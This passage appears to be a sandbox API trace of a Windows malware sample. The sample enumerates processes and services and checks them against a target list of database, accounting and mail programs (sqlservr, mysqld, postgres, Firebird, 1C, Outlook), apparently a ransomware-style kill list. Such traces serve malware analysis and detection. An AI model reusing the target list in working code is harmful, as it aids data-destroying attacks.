(lpString1="mssqlserver", lpString2="SysMain") returned -1 [0155.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0155.242] lstrlenW (lpString="Themes") returned 6 [0155.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0155.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0155.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0155.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0155.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0155.242] lstrlenW (lpString="TrkWks") returned 6 [0155.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0155.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0155.242] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0155.242] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0155.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0155.242] lstrlenW (lpString="UxSms") returned 5 [0155.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0155.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0155.242] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0155.242] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0155.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0155.242] lstrlenW (lpString="WdiServiceHost") returned 14 [0155.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.243] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0155.243] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0155.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0155.243] lstrlenW (lpString="Winmgmt") returned 7 [0155.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0155.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0155.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0155.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0155.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0155.243] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0155.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0155.245] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.245] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0155.245] lstrlenW (lpString="System") returned 6 [0155.245] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0155.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0155.246] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0155.246] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0155.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0155.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0155.246] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0155.246] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0155.246] lstrlenW (lpString="smss.exe") returned 8 [0155.246] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0155.246] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0155.246] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0155.246] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0155.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0155.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0155.246] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0155.246] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.247] lstrlenW (lpString="csrss.exe") returned 9 [0155.247] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.247] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.247] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.247] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.247] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0155.247] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0155.247] lstrlenW (lpString="wininit.exe") returned 11 [0155.247] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0155.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0155.247] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0155.247] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0155.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0155.247] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0155.247] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0155.247] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.248] lstrlenW (lpString="csrss.exe") returned 9 [0155.248] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.248] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.248] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.248] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.248] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.248] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.248] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0155.248] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0155.248] lstrlenW (lpString="winlogon.exe") returned 12 [0155.248] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0155.248] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0155.248] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0155.248] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0155.248] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0155.248] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0155.248] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0155.248] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0155.249] lstrlenW (lpString="services.exe") returned 12 [0155.249] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0155.249] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0155.249] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0155.249] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0155.249] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0155.249] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0155.249] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0155.249] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0155.249] lstrlenW (lpString="lsass.exe") returned 9 [0155.249] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0155.249] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0155.249] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0155.249] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0155.249] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0155.249] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0155.249] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0155.249] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0155.250] lstrlenW (lpString="lsm.exe") returned 7 [0155.250] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0155.250] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0155.250] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0155.250] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0155.250] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0155.250] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0155.250] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0155.250] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.250] lstrlenW (lpString="svchost.exe") returned 11 [0155.250] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0155.250] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.251] lstrlenW (lpString="svchost.exe") returned 11 [0155.251] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.251] lstrlenW (lpString="svchost.exe") returned 11 [0155.251] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.251] lstrlenW (lpString="svchost.exe") returned 11 [0155.251] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.252] lstrlenW (lpString="svchost.exe") returned 11 [0155.252] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0155.252] lstrlenW (lpString="audiodg.exe") returned 11 [0155.252] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.252] lstrlenW (lpString="svchost.exe") returned 11 [0155.252] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0155.253] lstrlenW (lpString="explorer.exe") returned 12 [0155.253] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0155.253] lstrlenW (lpString="dwm.exe") returned 7 [0155.253] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.253] lstrlenW (lpString="svchost.exe") returned 11 [0155.253] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0155.254] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0155.254] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0155.254] lstrlenW (lpString="spoolsv.exe") returned 11 [0155.254] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0155.254] lstrlenW (lpString="reader_sl.exe") returned 13 [0155.254] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.254] lstrlenW (lpString="svchost.exe") returned 11 [0155.255] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0155.255] lstrlenW (lpString="taskhost.exe") returned 12 [0155.255] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0155.255] CloseHandle (hObject=0x1fc) returned 1 [0155.255] Sleep (dwMilliseconds=0x1f4) [0155.983] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0155.983] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0155.984] GetLastError () returned 0xea [0155.984] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xf76) returned 0x428bbd0 [0155.984] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xf76, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0155.984] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0155.985] lstrlenW (lpString="Appinfo") returned 7 [0155.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0155.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0155.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0155.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0155.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0155.985] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0155.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.985] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.985] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.985] lstrlenW (lpString="AudioSrv") returned 8 [0155.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0155.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0155.985] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0155.985] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0155.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0155.985] lstrlenW (lpString="BFE") returned 3 [0155.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.985] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.985] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.985] lstrlenW (lpString="CryptSvc") returned 8 [0155.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.985] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.985] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.985] lstrlenW (lpString="CscService") returned 10 [0155.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0155.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0155.986] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0155.986] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0155.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0155.986] lstrlenW (lpString="DcomLaunch") returned 10 [0155.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.986] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.986] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.986] lstrlenW (lpString="Dhcp") returned 4 [0155.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.986] lstrlenW (lpString="Dnscache") returned 8 [0155.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.986] lstrlenW (lpString="DPS") returned 3 [0155.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.986] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.986] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.986] lstrlenW (lpString="eventlog") returned 8 [0155.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0155.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0155.986] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0155.986] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0155.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0155.987] lstrlenW (lpString="EventSystem") returned 11 [0155.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.987] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.987] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.987] lstrlenW (lpString="gpsvc") returned 5 [0155.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.987] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.987] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.987] lstrlenW (lpString="iphlpsvc") returned 8 [0155.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.987] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.987] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.987] lstrlenW (lpString="LanmanServer") returned 12 [0155.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.987] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.987] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.987] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.987] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.987] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.987] lstrlenW (lpString="lmhosts") returned 7 [0155.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.987] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.987] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.988] lstrlenW (lpString="MMCSS") 